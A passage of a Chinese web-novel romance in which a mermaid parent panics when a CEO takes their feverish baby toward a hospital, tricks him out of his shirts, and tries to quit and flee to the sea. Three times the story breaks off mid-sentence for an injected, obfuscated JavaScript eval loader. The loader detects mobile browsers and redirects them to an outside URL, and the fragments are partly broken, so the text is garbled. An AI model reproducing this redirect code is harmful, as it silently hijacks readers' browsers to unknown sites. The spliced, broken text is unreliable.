姿音在他杯上轻碰一下,笑道:“谢谢雷大哥,我要请你吃饭的。” “咳!!!” 旁边猛地一声惊雷似的咳嗽,把姿音吓得手里的茶水都晃出来一些。 宫砚像个怨妇一样,抱着孩子站在桌旁,脸色阴沉,眼神幽幽。他瞅姿音,再瞅一眼雷霆,正宫似的一抬下巴。 姿音把鱼崽抱过来,欢欢喜喜地蹭一蹭小脸蛋。 这条朴素的、大脑没有经过知识污染的天真小鱼,根本没看懂宫砚那复杂的人类眼神。 宫砚只好亲自开口:“……不介绍一下,这位是?” 雷霆人类经验比较充足,伸出手跟宫砚握了一下:“宫总!我是这里的教练,以前见过您。” 宫砚不动声色地打量他,雷霆笑容带着憨气,露一口灿亮大白牙。 “他是我老家的大哥。”姿音说。 嗯,宫砚心想,那股憨憨的单纯气质,确实像一个地方的。 警报解除。 鱼崽扭过小身子,拉拉雷霆的袖子,雷霆爽朗地呵笑一声,把鱼崽接过去:“小侄儿!走,雷叔带你去吃饭。” 他说着,姿音开始弯腰收拾东西,把雷霆的背包和自己的布袋拎在手上。 “我们去吃饭了,拜~”姿音冲宫砚摆手,雷霆怀里的小鱼崽也学妈咪:“bye~” 突然孤身一人的宫砚:? 等等,不是? 宫砚下意识跟了姿音两步,又硬生生刹住。 人家约好了一起去吃饭,自己难道要厚着脸皮掺一脚? 讨嫌,也显得自己很没有气量。 啧。 宫砚心里烦躁,但面上不肯输,颇有气势地挣了下领口,冲上去说:“小崽下午精神不怎么好,像是困了,我带着回去睡觉吧。” 鱼崽:“。”吐一个大大的疑惑泡泡。 崽崽睡觉是头等大事,姿音立刻重视起来,捧着鱼崽崽的脸蛋观察。鱼崽平时神采奕奕,两只大眼睛锃亮锃亮的,像两盏大车灯。 这么一瞧,今天确实有点倦倦的。 姿音把鱼崽抱给宫砚,在崽崽眉心亲一下:“跟爸爸回家,乖乖睡觉。” 宫砚站在原地,凄楚地盯着姿音和雷霆结伴远去的背影。 笃定地想,不怕,只要孩子在手上,他总是要回家的。 于是苦哈哈地带着鱼崽回家苦守寒窑去了。 宫砚说鱼崽今天精神不好,并不是无稽之谈,他现在对鱼崽的状态了如指掌,鱼崽抬抬小爪,他就知道小家伙想要什么。 所以回到家,宫砚直接洗漱先带鱼崽睡觉去了。 可能睡了有半个小时,宫砚觉得怀里热烘烘的,不寻常的热,睁开眼睛一瞧,小崽脸蛋红扑扑的,小嘴巴一张一张,缺水的小鱼儿一样。 宫砚用体温计一量,超过38度了,赶紧把鱼崽叫醒:“崽,崽崽,起来。” 宫砚第一时间联系自己的医生朋友,让司机把车开到前门等着。自己则找到退烧贴给鱼崽贴上,裹上小被子,带着水壶,抱着鱼崽就上了车,往医院开。 “崽崽发烧了,”路上,宫砚打电话告诉姿音,“现在在去平安医院的路上。” 对面明显愣了愣,问:“浑身发热吗?” 宫砚现在还记得小崽那天在办公室里大哭,姿音冲进来的凶恶模样,压低声音安抚说:“38度4,你不要急,我联系过医生了,没有大问题。” “医院?” 宫砚说:“嗯,快到了。” 对面像是呼吸混乱急促起来,能清楚听到深深吸气的声音,而后,姿音慌张的声音传了过来,“不可以,不可以……” 下一秒,咬牙威胁似的,吼了出来:“停车!不可以带崽崽去医院!” 宫砚心中一惊,再要去问,电话已经挂断了。 轿车在医院停车场刹下,司机转过头来问:“宫总,进去吗?”宫砚紧紧蹙眉,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956543|160981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有回答,沉默地掀开小被子的一角,拿毛巾给小崽擦擦身上的汗。 突然,他在鱼崽脚上摸到坚硬的一点什么。 宫砚把鱼崽脚边的被子掀开,一闪而过的微弱蓝光,像是光滑的东西反射的。待细看,已经消失不见了。 宫砚握着鱼崽软绵绵的小脚丫,怀疑自己是眼花。 宫砚抱着鱼崽,一直没动,鱼崽握着小水壶,脚丫蹭来蹭去,乖乖地咕吨吨喝水。宫砚摸着他的额头,温度应该没有再上升了。 很快,车门被人从外面一把拉开。 姿音喘着粗气,像是下一口气就喘不上来了,胸膛剧烈起伏。他目光锁定宫砚怀里的鱼崽,确认崽崽没有被送进医院,没有被送进有很多刀子的手术台,还完好无损的,安全的,双腿才撑不住,面条似的晃了几晃。 宫砚手疾眼快地扶住了他,“怎么这么急?” 下一秒,宫砚的表情空滞茫然,因为他看到一行眼泪从姿音的眼下滑落。 宫砚的心像被刀反复刮过,他不知道姿音为什么哭,只能把怀里的崽崽好好地交给他,这样安慰。 姿音搂着鱼崽,珍惜地看,亲一亲,再摸一摸。 半晌,他抬起头,啜泣地对宫砚说:“崽崽发热,我可以治,还有草药,还可以唱歌。你为什么要把他送进医院?” 宫砚说:“让医生看看,放心点。” 姿音急得眼眶都红了:“你不可以把崽崽送进医院!” 宫砚看出他急火攻心,忙附和道:“好好好,不送。你先上来,外面冷。”把失魂落魄的姿音拉上车,让他坐在自己身边,说了个地址让司机开车。 宫砚轻轻拍着姿音的肩膀,渐渐感到姿音的呼吸平稳一些,抽噎声也止住了。 “对不起……”宫砚低声道歉,询问说,“崽崽是不可以去医院吗?” 姿音扭过脸去,倔强地抹抹眼泪,不想跟他说话。宫砚把头再低一点,去瞧他的表情,姿音就把薄薄一片脊背对着他。 车在姿音家楼下停了,姿音抱着崽崽回家,没有邀请宫砚。 卧室里,姿音把崽崽放到床上,给鱼崽擦汗,额头抵着额头,试试温度。而后,姿音一边抱着鱼崽,一边缓步地走,嘴里哼出一段悠扬复杂的旋律。 不多时,鱼崽伴着人鱼治愈的歌声,靠着妈咪的肩膀睡着了。 姿音摸摸小额头,已经不烫了。他把鱼崽重新放到床上,趴在床边,静静地看着自己的小鱼崽。 医院。 人类医院是治人的,对鱼没有用。 他们人鱼最怕的就是人类医院。 恐怖解刨实验传说,哪只小人鱼没听过? 那么危险,会一片片拔掉小鱼崽的鳞片,为了研究人鱼物种,会把抓到的人鱼关在笼子里禁闭,进行各种残忍至极的基因实验。 如果崽崽被发现了人鱼身份…… 姿音点点小崽的鼻尖,捂着心口说,“刚刚好危险,崽崽差点就……”对着即使已经睡着的鱼崽崽,姿音还是说不出那些残忍的话,想一想就觉得心惊,要流眼泪。 姿音越想越后怕,头发几乎竖了起来。 不行,陆地太危险了,他要走,他要带着崽崽走,回大海。 崽崽已经吸收了一段时间宫砚的信息素,尾巴亮了,说话进步了,宫砚的信息素一定能再管一段时间。 如果不行,他就再去找风暴。 姿音手抖地开始收拾行李,看到床上崽崽一件件小衣服,忽然有个想法。 宫砚的衣服上沾有信息素,他可以偷几件给崽崽用。宫砚的家里他去过,那个大衣柜里有数不清的衬衫,偷一点点,不会被发现的。 门外,宫砚丝毫不知自己的衣柜已经被姿音看上了。 他在走廊里踱来踱去,因为不放心姿音和崽崽,所以跟了上来。 冷静下来,宫砚复盘今天晚上的种种,包括姿音说的每一句话。 “我可以治,还有草药。” “不可以把崽崽送进医院!” 啊…… 宫砚顿悟了,心想,原来他是那种不接受现代西方医疗的中医老派啊。 嗯,没事,自己可以带着他慢慢拓宽见识。 11. 第 11 章 宫总一颗脑袋,在经营公司,商业博弈这条路上精明无比,踩下油门,一往无前。但在感情的道路上,却恰恰相反,铁皮车身挪两步噌当噌当响,卡顿得仿佛要报废一般。 偏偏本人毫无知觉,以为机敏地找到了姿音生气的要害,想通了,就不再纠结,一颗心缓缓落回原地,打道回府。 第二天是周末,天蒙蒙亮时,宫砚已经准时蹲在姿音家门口。对面的邻居一开门,被他人高马大的身影唬了一跳。 姿音带小鱼崽吃过早饭,开门就撞见了门神似的宫砚。 “崽崽,好了?” 宫砚摸摸小崽的脑袋,小崽脸色红润,眼神清澈,精神头十足,哪里还有昨晚蔫蔫的影子。 姿音下意识把鱼崽崽往后抱了一点。 他还是有点生气。他生气很明显,水红漂亮的唇角微微僵着,一双乌眸故意不看人,雪片似的小尖下巴斜着抬起来一点,带些薄怒的骄矜模样。 “对不起,”宫砚郑重地认错,把直挺挺的脊背稍弯,“昨晚是我的错。我保证,我对你信奉的医疗体系,没有任何指责或鄙夷的意思。” “不管是中医还是西医,只要能治好病,我都持有绝对的尊重!” 姿音听不懂他在吹什么东西南北风,但鉴于自己今日的计划还需宫砚配合,所以唇珠在下唇上轻轻抿了一下,把那点小脾气吞到了肚子里。 “嗯……” 他把雪白的小脸转过来,瞧了宫砚一眼,在宫砚心中,这无疑是个原谅自己的信号了,面上大喜,把结实的臂膀伸过去。 “小崽挺沉的,我抱着。” 今天周末,宫砚打定了主意让姿音消气,先把小崽送回爷爷奶奶家里,而后请姿音吃饭,看电影,逛街。 他自省,不知什么时候让小崽吹到了风,导致夜里发起了烧,此罪一。没有第一时间通知姿音,鲁莽地把小崽送去医院,此罪二。 所以他今天来向姿音赔罪,理所应当。 绝对跟别的心思毫无关系。 而姿音因为心怀鬼胎,不论宫砚发出什么邀请,他都顺从地点点头答应,把宫砚乐得仿佛泡在了甜水里。 两人一起逛服装店,宫砚一件件地挑衣服,暗戳戳催着姿音去试。 姿音一直以来穿得比较朴素,只是他人骨肉匀称,背薄纤细,脸蛋雪白中透着健康的粉润,衬得简单的衣物也有明快纯净的美感。 用导购员小姑娘的话来说,越素越美。 一开始这两人踏入店中,一个高大英俊的帅哥,一个雪白莹润的美人,透过服装,能看出二人身份的悬殊。 咳咳,这就不怪店员脑补一出霸道总裁金丝雀的戏码了。 只是再一细看,这霸总忙前忙后,挑衣服,挑尺码,对美人殷勤至极,而美人眉眼柔和,倒是兴致不高,时不时看一眼时间。 好像又不太对味了。 宫砚从前以为姿音是经济困窘,因而穿着简素。可他让经理提高到双倍工资,也没见姿音的生活条件有什么提升。 小房子,肉糊糊,旧衣服。 可怜得厉害。 宫砚只要一想,心就揪得紧紧的。可他不能无缘无故地送姿音衣服,今天总算找到了个好理由,而姿音也乖乖的,没有过多推搪。 宫砚拎着大包小包,从服装店又踏入母婴店。姿音对于试穿那些各式各样的服饰,兴致缺缺,但看到迷你的小衣服,小玩具,迷得都走不动道。 “这个真可爱,”姿音扯了扯一件明黄色的小蝴蝶套装,眼下卧蚕鼓起来一些,显得眼睛圆圆的,“还有小铃铛呢。” 宫砚挨着他,两人胳膊贴近,笑道:“这个适合崽崽穿。” 走走看看,时不时脑袋凑到一起说几句话,宛如一对小夫妻了。 从母婴店里出来,宫砚还要带姿音去吃晚餐。 姿音惦记他那一衣柜的衣物一整天,这时候实在是忍不住了,开口说:“我们回去吧。” “啊?”宫砚今天兴奋过了头,像被主人突然拉住了狗绳的大型犬,怔怔地瞅着姿音。 姿音绞尽脑汁地想,乌黑的眉眼抬起来,拽了拽他的衣袖,小声说:“我能不能,去你家洗个澡。” “……我想洗澡。” 洗澡,只能在家里洗,洗完还能打开衣柜找衣服穿。姿音深觉这是个好借口。 宫砚的反应却很不寻常。 他整个人像傻了一样,神情木讷,挺直的鼻梁出气重了两分,反复确认自己没有听错。 姿音仰着脸,洁白柔嫩的面颊就贴着他的手臂,那么近,透过衬衫薄薄的布料,宫砚都能感受到那温热的触感。 长扇似的睫毛下,乌黑发亮的瞳仁,分不清到底是天真,还是魅惑。 这种勾引,是不是太拙劣了点? 到我家去洗澡?宫砚忍不住想,就这么明晃晃的? 继而,他回忆前不久第一次见到姿音,这人举着个奶娃娃,当场就敢说是他的崽,让他负责。 嗯。这点倒是没变。 “……哦,好。”宫砚敛眸,慢半拍回答,“可以。” * 浴室水声哗哗。 宫砚站也不是,坐也不是,他吭哧吭哧收拾家务,壮牛似的把卧室的地板洗了两遍。刚一闲下来,大脑立刻想入非非,惊得赶紧去厨房把干净盘子又刷一遍。 正忙得一身热汗呢,忽然听到浴室传来细细弱弱的声音。 “宫--砚--” 宫砚先是脊背酥麻,继而虎躯一震,同手同脚地走到浴室门前。 里面的人声音浸着湿意,“可以帮我拿一件衣服吗?”姿音没带衣服来,宫砚谴责自己没有提前想到。 幸好,刚才买的衣服里有免洗上身的。 宫砚正要转身去拿,里头犹豫了下,试探着说:“可以给我拿你的衣服穿吗?……我、我想穿你的。” 一瞬间,宫砚的头皮都麻了。 男、男友衬衫? 玩这个是吗。 宫砚抹了把额头的汗,转身,僵硬地走到衣柜前,挑了件自己的白衬衫。 浴室的门开了一条缝,水汽从门缝里溢出,同出溢出的还有一股馥郁香气。一条赤.裸的雪白小臂伸了出来,宫砚低着头,把衬衫交到那只水滑的手上。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956544|160981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 浴室的门上映出淡淡的纤细身影,宫砚觉得自己必须立马去刷剩下的盘子。 “再给我几件,可以吗?”姿音的声音再次响起。 宫砚:? 大脑没有匀出多余的空间让他细想,宫砚机械地点头,走到衣柜前,匆忙拿出几件自己的衬衫,递给那条玉藕似的雪臂,里面很快响起簌簌穿衣的响动。 没过两分钟,姿音又把小臂伸了出来:“我还想要一件。” 宫砚:?? 过冬吗? 宫砚问:“冷吗?我拿一件外套给你?” 姿音面颊微红,声音低低的,仿佛吹气般说:“……我想要你的贴身衣服,可以吗?” 宫砚:!!!!!! 宫砚再三确认自己没有听岔,哑着嗓子:“背背背背背心?” 姿音柔柔的一声:“嗯。” 宫砚于是又挑了一件自己睡觉时常穿的背心,递给姿音。 对方攻势太猛,宫砚真不知如何是好了,像只土拨鼠一样在卧室里飞快地踱来踱去,无声尖叫。 不多时,浴室的门打开,姿音包得像只粽子一般地出来了。背心被他穿在了最里面,几件衬衫上身穿不完,打结系在了腰间。 潮,潮得风湿病人看一眼就犯病。 虽说穿得乱七八糟,也没有什么旖旎的风光,可宫砚还是觉得可爱迷人。“咳。”宫砚用眼尾扫着姿音,脚步缓缓腾挪过去。 这时候该开口说些什么呢? 说什么能礼貌又不失风度呢? “你……”宫砚绞尽脑汁,最终夸道,“你挺能穿啊。” 刚出口,他就想狠狠甩自己一耳光。 姿音尴尬地轻笑两声,“谢谢,很暖和。那……” 他似乎有所行动,宫砚立即绷紧了神经,手指在裤子上无意识地蹭了蹭。 “那我先走了哈。”姿音说着,冲他小小挥了挥手,伴着大门一声轻响,一股脑消失了。 宫砚:……? 宫砚:……?? 窗外的冷风吹到他的脊背上,萧瑟得宫砚打了个战。 ……不是? 宫砚坐在沙发上深思良久。所以,姿音真的是来他家洗澡的,没有任何暗示意味。 是自己肮脏了。 宫砚有些羞愧,又觉得有些好笑,自顾自坐在沙发上笑了一阵儿,起身去收拾浴室。 姿音洗完澡,把浴室拖得很干净,只是像走得匆忙,脱下来的衣服忘记拿走了。哦,还有新买的这一堆。 宫砚抓着姿音那件白色棉布衬衣,又开始想,这是不是还是他的小计俩,欲情故纵? 他仰倒在大床中央,忍不住把姿音的上衣盖在自己的脸上。 像第一次见面时的香,不是花香,不是香水,是一种奇异的,有点潮湿,像一条秘密小径,勾着人鼻尖去嗅的很深的香气。大概闻多了还会上瘾。 * 成功骗取衬衫五条,背心一条。 姿音美滋滋地收拾行李,把宫砚的衣服叠放整齐,放到布袋里。 明天,明天他就去辞职,带着鱼崽崽回海里! 12. 第 12 章 一整晚,宫砚仿佛被一个巨大的粉红泡泡笼罩,飘荡在云端。 无数遍回想姿音喊他的名字,穿他的衣服,那种低眉害羞的神态。 作为一个二十几岁的理性成年人,他能感觉到自己非常不对劲,但同时,又放任了自己继续沉溺下去,左右脑互搏。 昨晚虽然姿音跑掉了,但不论是小声嘀咕要来他家洗澡,还是穿他的贴身衣物,在宫砚看来,都是异常亲密的举动。 所以他的飘飘然是很有底气的。 早晨醒来,唇角就嵌着一抹笑意,剃头挑子一脑袋热,抱着小崽飞奔到游泳馆。 姿音见自己的鱼崽崽来了,把鱼崽从宫砚怀里接了过来,鱼崽小手爪爪妈咪的下巴,抱着啃啃啃。 宫砚偷偷观察姿音,姿音一见到他,目光就躲闪一瞬,而后,那张雪白的面颊迅速地红了。 他害羞。 宫砚心里乐得冒泡。 “……崽崽吃过饭了吗?”姿音问,声音比平时弱一些。 宫砚一抬下巴,笑道:“喝了奶粉,吃得饱饱的。”姿音便去摸摸小鱼崽的肚子,果然是圆鼓鼓的,像个小西瓜,不由得浅浅一笑。 察觉到一个直愣愣的视线,正盯着自己,姿音唇角一僵。 不用说,那一定是宫砚,姿音缩了下脖子。 因为昨晚用了点小计谋,借走了宫砚的衣服,而且根本不打算还,姿音很心虚,连脑袋都不敢抬起来看衣服的主人。 “……你给崽崽买了很多奶粉吗?” 宫砚不知道他为什么突然问这个,大手一挥:“反正你不用操心这个,都交给我了。” 哦……那就是买了挺多吧。 姿音默默在心里计算价格,宫砚还给崽崽买了很多衣服,玩具,再加上保姆费。他一个月的工资,全部都补偿给宫砚好了。 上班时间快到了,宫砚伸手要把鱼崽接过去,姿音却没给。 姿音把鱼崽放到布袋里,就像上岸时那样:“我带着崽崽。”宫砚心想,还是对鱼崽差点去医院的事情心有余悸吗? 也好,姿音那天晚上急坏了,让崽崽多安抚一下。 “不方便了,你就打电话叫我上来。”宫砚说,姿音摇头说:“不用。” 宫砚没想太多,等着晚上再来接姿音下班,接鱼崽回家。 日子很有盼头,他乐悠悠地下了楼。 负责调节温度设置,测试水质的服务生需要来得比较早,所以姿音拎着小鱼崽,在游泳馆里等了一会儿。 “崽崽,我们要回家啦。”坐在大厅的小茶几前,姿音握着鱼崽两只小爪,跳舞一样,上下左右晃悠,鱼崽像海草般舞动起来。 “嗨!鱼鱼!”鱼崽嘴巴撅起来,小屁股一扭,好像马上要游走了。 鱼崽两条在空中游泳的小胳膊忽然停摆,歪了歪栗子脑袋,问姿音:“叭?” “爸爸不去。”姿音给他整整袖口,心虚地左右张望一圈,压低声音,开心地眯着眼睛说:“但是我偷了爸爸的衣服给崽崽。” 妈咪开心,鱼崽也开心:“咪!” 经理终于来了,姿音站起身,拎着鱼崽上前打招呼。 经理见了他,如见了大财神,笑得眼尾一条条皱纹:“早上好。今天我带了一罐好茶,放到茶水间,大家都尝尝。” 没想到姿音突然问:“经理,我的工资可以结到今天吗?”他还没干满一个月,不过也快了。经理一愣,旋即就明白过来。 “这么急着用钱吗?” 突然要结工资,那必然是很紧急用钱的状况了。只是经理没搞懂,他为什么不直接朝宫总要?瞧宫总那一天跑来三次的样子,热火朝天的,不知道的以为见老婆孩子呢。 不过姿音是他们游泳馆的大佛,别人不晓得这其中的弯弯绕绕,经理却是最清楚的,当即就答应:“好,你等着。” 找到会计,结了姿音的工资,顺道把季度奖金,红包,一股脑塞了进去,交给姿音。 姿音数了数,足足有两万多块。 “要是还有什么困难,你说。”经理拍着胸脯,一脸正义。 姿音把那个鼓囊囊的红包递给他:“能帮我把这个转交给宫砚吗?” 经理:? 姿音把装着鱼崽的布袋,往肩膀上提了提,微微笑说:“我就干到今天了,再见。”说罢,没等经理做出什么反应,转身就走出了游泳馆。 经理表情怔然,脑袋里跑过许多部狗血豪门电视剧。 这是……跟宫总闹矛盾了?不仅走,而且清纯小白花还要拿钱狠狠地甩富家公子哥的耳光? 你以为我是在乎钱吗?我告诉你!只有你们这些利欲熏心的商圈才在乎钱。我在乎的是尊严,是不被金钱玷污的爱情! 一个朴素的,背着帆布包的身影,霍然离去。 经理盯着手里厚厚一沓钞票,急急刹住脑内小剧场,猛然回过神来。 别管夫人王爷闹什么矛盾了,他通知得晚了,落一个办事不利的名头,王爷要他挂城墙上给夫人陪葬! * 宫砚开完早会,嘴角犹自噙着一抹笑。 各部门经理站起身,恭送宫总离开会议室,门重重关上。会议室里几道明显的松气声,这才小声议论起来。 “刚刚真是吓死我了……” “老李你也真是的,表报出了那么大一个岔子。慌得我在边上,腿都跟着直打颤。” “不过今天宫总的心情真不错,总感觉一直在笑,搁平时,就宫总的办事风格,老李你等着被降职吧。” “幸好幸好,不知道托谁的福,总之,感谢感谢!”老李双手合十,拜了两拜。 办公室里,宫砚哼着小曲,阅读文件,而后签上自己的大名,那笔尖时不时停一下。 啧,虽然姿音的工作不算忙,但带着小崽,终究很不方便。 等再过一会儿,我上去瞧瞧,还是把小鱼崽带下来 ……嗯,没有小崽坐在怀里,居然有点不适应。 嘭,办公室的门被人从外面推开。 宫砚脸黑了一黑,除了姿音,还没人敢不敲门擅自闯入他的办公室。 所以现在他的办公室是谁都能进了吗?!宫砚的脸沉下,黑眸摄出渗人的光。 没等宫总发出怒问,游泳馆的经理上气不接下气地跑回来,大喊道:“宫总,夫人、夫人他跑啦!” 宫砚的威严没能平稳着陆,脸上的表情结结实实茫然一秒:“什么?” 经理深吸了一口气:“姿音,姿音结了工资,说再也不干了,”经理颤巍巍把手上的红包伸出来,胆战心惊地说:“还、还让老奴,不是,还让我把这笔钱交给您。” 宫砚看都没看那红包一眼,猛然站起身来:“你说他走了?” 经理点头,宫砚心里慌张起来,面上并不显露:“什么时候走的?”经理道:“就刚才,您现在下去,应该还能堵到人。” “我第一时间就跑来告诉您了,宫总,我发誓,我们馆里绝对没有亏待过夫人……”经理絮絮叨叨解释一大串,一睁眼,宫总早消失了。 宫砚乘坐专属电梯到了一楼,大厅里空空荡荡。他迈开长腿,追到大楼外面,刚巧看到一辆刚起步的出租车,车窗还没关上,那截雪白的脖子,柔美的侧脸线条,总是带笑的眼睛,不是姿音又是谁? “停一下!” 宫砚朝出租车大喊,边喊边跑。然而距离太远,出租车提速,很快溜出去百米远。 宫砚急得什么都忘了,像被老婆孩子抛弃了的痴心汉,狼狈地拔腿就追, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14956545|160981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “姿音!小崽!停车!” 这是在公司楼下,A市最繁华的商业街,高端写字楼林立,上班族人来人往,这一偶像剧般的情节惹来不少目光,很多人已经偷偷拿起手机拍摄了。 “我去!我是不是眼睛不好了,怎么看着,这么像咱宫总??” “就是宫总吧!我的妈呀,什么情况!!” 人腿是跑不过汽车的,宫砚追了几十米,蓦然醒悟,赶紧打了最近的一辆出租:“追上前面那辆9985!”司机一脚油门。 宫砚心急如焚,伸着头,透过挡风玻璃,紧紧锁定那辆载着姿音和小崽的车。 为什么要走? 为什么要丢下他? 明明跟姿音什么关系都没有,宫砚却不由自主地这么想着。 “呦,这是跟老婆生气了?”司机大叔笑了,宫砚只顾盯着那辆车,没空搭理他。司机绕有经验地继续道:“这时候,追上了也没用。你想啊,两个人都脑袋发热,不理智,就算见面了也要吵架。” 这句“不理智”,宫砚听进去了。 没错,自己根本不知道姿音带着小崽离开的原因,就算追上了,也无济于事。 而且冷静下来一想,他没有任何立场去管姿音去哪里。姿音说他是崽崽的爸爸,他认,可只要姿音反悔,也能让别人当崽崽的爸爸。 宫砚身体渐渐后仰,靠到椅背里。 他把手机拿出来,给游泳馆的经理打了个电话。 * 姿音在港口下车。 熟悉的海风,波光粼粼的广阔海面。姿音把布袋里的小崽掏出来,举高高,让风吹乱鱼崽的头发,他们就要回海里啦。 嗡嗡——嗡嗡—— 口袋里的手机震动,姿音拿起来接听,是游泳馆的经理。 “很抱歉,姿音,你不能走。”经理的声音听起来沉沉的,仿佛在端着严肃公正的态度,“我们当初签了劳动合同,你至少要在我们这里干满一年,提前辞职需要赔偿违约金。” 这个东西姿音没有听过,很天真地问:“我是一定要走的,请问需要赔偿多少呢?” 经理吸了一口气:“五!百!万!” 作为一条人鱼,姿音其实对钱没有概念,“嗯”了一声,开始算如果自己一个月收到两万块的工资,要工作多久才能赔完。 经理见他还真打算赔,还琢磨着跟雷霆教练借钱,惊了,慌了,完不成宫总交给他的任务他就完了! “夫人,别算了,把你俩打包一起工作到下辈子也赔不起,快回来吧我求求你了呜呜呜……” 姿音算了一算,自己好像真的赔不起,而且雷霆打工也不容易。 “唉。”一条贫穷的打工小鱼叹息一声,终究是被陆地的金钱绊住了脚。姿音没有办法,答应经理回去,经理连声道谢,保住了下半辈子的金饭碗似的,喜极而泣。 姿音把鱼崽重新塞回袋子里,挠挠脸,有点尴尬地跟鱼崽崽说:“咳……崽崽,我在陆地还有点事情,咱们下次再回去吧?” 鱼崽高兴地唱歌:“咪~叭~咪~叭~” 姿音眉目温柔,冲他笑笑。 这时候,一道磁性的声音,很惊奇似的响起:“好巧,你们怎么在这儿?” 宫砚从车上下来,缓步朝姿音走来,0个人问,但他自动解释起来:“公司最近进口了几台国外的机器,我刚巧在这港口接一下,签个字。你们要回去了吗?正好坐我的车一起。” 姿音见到他,眼睛忽地灿亮,小跑着挨近。 “那个,你可以借我一点钱吗?” 宫砚面容正经:“你很缺钱?借多少?” 姿音眼睛亮晶晶:“只要五百万就可以啦。” 宫砚:“实在对不起,最近手头有点紧。” 13. 第 13 章 写字楼大厦,高层总裁办公室。 滴滴,滴滴,鱼崽手里的玩具小车闪烁着红色灯光,鱼崽捏一捏,尝一尝,再甩一甩。 啪叽,甩到了爸爸脸上。 “哈!”鱼崽发出小魔头般的低吼。 宫砚低头瞅瞅怀里的小崽,摸摸小手和脸蛋,确认小崽没有磕碰到。他把玩具捡起来,熟练地用湿巾仔细地擦净,再放回到鱼崽的手里。重新陷入沉思。 ……所以,姿音到底为什么要带着小崽辞职离开呢? 十分钟前,宫砚把姿音和鱼崽送回游泳馆,装作事不关己,坐在一边带崽,旁听了经理和姿音解释合同期限。 姿音跟经理说自己会留下来,认真工作。 旋即突然脚步一转,走向宫砚,努力板起脸来:“你发誓……” 宫砚脑袋发蒙,但姿音让他发誓,他就像条件反射一样,嗖地举起三根手指,一脸等训地瞅着姿音。 姿音:“说你再也不会把崽崽送进医院了。” 宫砚用平生最严肃的语气,一边跟着念,一边心里想:那晚的事真的吓到他了,唉,这事都怪我。 “不仅如此,以后崽崽有什么事情,我第一时间一定通知你,征求你的意见。”宫砚盯着姿音的眼睛,无比诚恳地补充。 姿音满意地点点头,提醒说:“如果你做不到……”思索片刻,似是想到了一个世界上最恶毒的惩罚,沉沉地说:“你罚你永远手头紧,永远赚不到五百万!” 百亿身家的宫砚差点破功笑出来,把眉头皱得死紧,生生忍住了。 而后,姿音满意了,捏捏崽崽的脸蛋,开始今天的工作,而宫砚也带崽回了楼下。 …… 所以,今天姿音到底为什么要带小崽离开呢?这么迅速,这么决绝。 宫砚首先把私自送小崽去医院这件事排除。虽说这件事确实惹姿音生气,但在前一天,姿音已经明确原谅了自己。 还到他家里洗澡,还穿他的贴身衣物。 那种羞怯的甜蜜,绝不是假的。 宫砚苦思冥想半小时,将和姿音相处的时刻按帧倒放,严厉审查,还是一无所获。 或许问题并非直接出自他身上?宫砚一通电话把经理叫了过来。 经理因为今天配合宫总演出好大一出戏,功臣似的喜笑颜开。宫砚问:“这几天他在馆里,有没有异常的时候?是不是有人欺负他?” 经理表情大变,冲口而出:“那不可能!”宫总给他们所有员工加双倍薪水,馆里的员工见了谁不乐呵呵的? 尽管心里这样想,但他不敢敷衍顶头老板,仔仔细细地把姿音这几日的情况回忆了一遍。姿音长相柔美,性情温和,其他员工忙的时候,他若有空,还主动去帮人家一把。从在这里工作开始,从没跟谁红过脸,大家都挺喜欢这个真诚漂亮的年轻人。 要说有什么异常…… 经理眉头一动,试探着说:“宫总,不愉快的事情,那真没有。但要说异常,大概前几天,姿音负责的另一个区域的客人来游泳,那人是不常来的,一来就发生了点小意外,差点溺水,被姿音救了起来。” 游泳馆的vip区域是分开的,宫砚并没有见过那另外一位客户。 “什么名字?” 经理道:“江溪。”宫砚对这个名字没有一点印象,经理补充说:“虽然江小公子的脾气有点暴躁,但那天姿音下水救他,我看着之后两人也没有闹什么矛盾。” 宫砚想了想,那大概也不是这里头的缘故了。 他捏捏鼻梁骨,给经理转了个大红包,摆手让他走了。 这时,一个熟悉的电话打了进来,阴阳怪气道:“哎呦,比皇帝还忙的宫总,您贱人多忘,是不是把小的给抛脑后跟了?” 宫砚正烦着,不想搭理他,手一按就要挂电话,萧历连忙急道:“别挂别挂,正事!” “说。”宫砚冷冷道。 “鱼缸!我找人定制好了,小鱼呢,兄弟我也找人给你配好了。所以您人呢?不开门我怎么送进你家里去?!” 宫砚倒把这件事给忘了,抱着小鱼崽站起身,对电话里说:“等着。” 二十分钟后,宫砚顶着鱼崽崽站在客厅,受萧历转着圈看猴儿似的观赏。工人们抬着鱼缸材料,在屋子里进进出出,前后忙碌。 